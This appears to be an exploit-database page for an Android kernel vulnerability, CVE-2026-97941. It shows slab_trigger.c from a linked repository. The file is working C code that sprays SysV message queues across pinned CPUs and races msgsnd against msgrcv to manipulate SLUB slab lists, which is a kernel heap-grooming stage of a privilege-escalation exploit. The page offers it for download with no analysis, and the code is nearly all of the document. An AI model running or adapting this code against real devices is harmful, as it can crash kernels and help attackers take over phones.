Exploit databaseDownload repository ZIP
GH-dda45f604f000daf94d3988816f2a9ae
ylh440104/infinitycore-android-cve-2026-97941
Sources for CVE-2026-97941
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
ylh440104/infinitycore-android-cve-2026-97941Revision 6a9949f0c824
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
slab_trigger.c
C · 2,538 bytes#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "ic_compat.h"
#include "ic_target.h"
#include "ic_util.h"
#define SLAB_MESSAGE_TEXT 900
#define SLAB_REFILL_BATCH 12
#define SLAB_QUEUE_COUNT 15009
#define SLAB_ALLOC_QUEUES 6252
#define SLAB_TRIAL_COUNT 20004
#define SLAB_CPU_FREE 0
#define SLAB_CPU_REFILL 1
#define SLAB_CPU_ALLOC 2
struct slab_message {
long mtype;
unsigned char mtext[4096];
};
static int g_refill_q[SLAB_QUEUE_COUNT];
static int g_alloc_q[SLAB_ALLOC_QUEUES];
static struct slab_message g_msg;
static volatile int g_slab_go;
static void *slab_refiller_main(void *arg)
{
int slot;
int i;
(void)arg;
ic_pin_cpu(SLAB_CPU_REFILL);
while (!__atomic_load_n(&g_slab_go, __ATOMIC_ACQUIRE))
ic_cpu_relax();
for (slot = 0; slot < SLAB_TRIAL_COUNT; slot++) {
for (i = 0; i < SLAB_REFILL_BATCH; i++) {
int q = g_refill_q[(slot + i) % SLAB_QUEUE_COUNT];
if (msgsnd(q, &g_msg, SLAB_MESSAGE_TEXT, IPC_NOWAIT) < 0)
break;
}
ic_cpu_relax();
}
return NULL;
}
static void *slab_allocator_main(void *arg)
{
int slot;
(void)arg;
ic_pin_cpu(SLAB_CPU_ALLOC);
while (!__atomic_load_n(&g_slab_go, __ATOMIC_ACQUIRE))
ic_cpu_relax();
for (slot = 0; slot < SLAB_TRIAL_COUNT; slot++) {
int q = g_alloc_q[slot % SLAB_ALLOC_QUEUES];
if (msgrcv(q, &g_msg, SLAB_MESSAGE_TEXT, 0, IPC_NOWAIT) < 0)
ic_cpu_relax();
}
return NULL;
}
int main(void)
{
pthread_t refiller;
pthread_t allocator;
int i;
memset(&g_msg, 0, sizeof(g_msg));
g_msg.mtype = 1;
for (i = 0; i < SLAB_QUEUE_COUNT; i++) {
int q = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
if (q < 0)
ic_die("msgget refill");
g_refill_q[i] = q;
}
for (i = 0; i < SLAB_ALLOC_QUEUES; i++) {
int q = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
if (q < 0)
ic_die("msgget alloc");
g_alloc_q[i] = q;
}
if (pthread_create(&refiller, NULL, slab_refiller_main, NULL))
ic_die("pthread_create refill");
if (pthread_create(&allocator, NULL, slab_allocator_main, NULL))
ic_die("pthread_create alloc");
__atomic_store_n(&g_slab_go, 1, __ATOMIC_RELEASE);
fprintf(stderr, "[*] SLUB partial list race running\n");
pthread_join(refiller, NULL);
pthread_join(allocator, NULL);
fprintf(stderr, "[-] completed without panic\n");
return 0;
}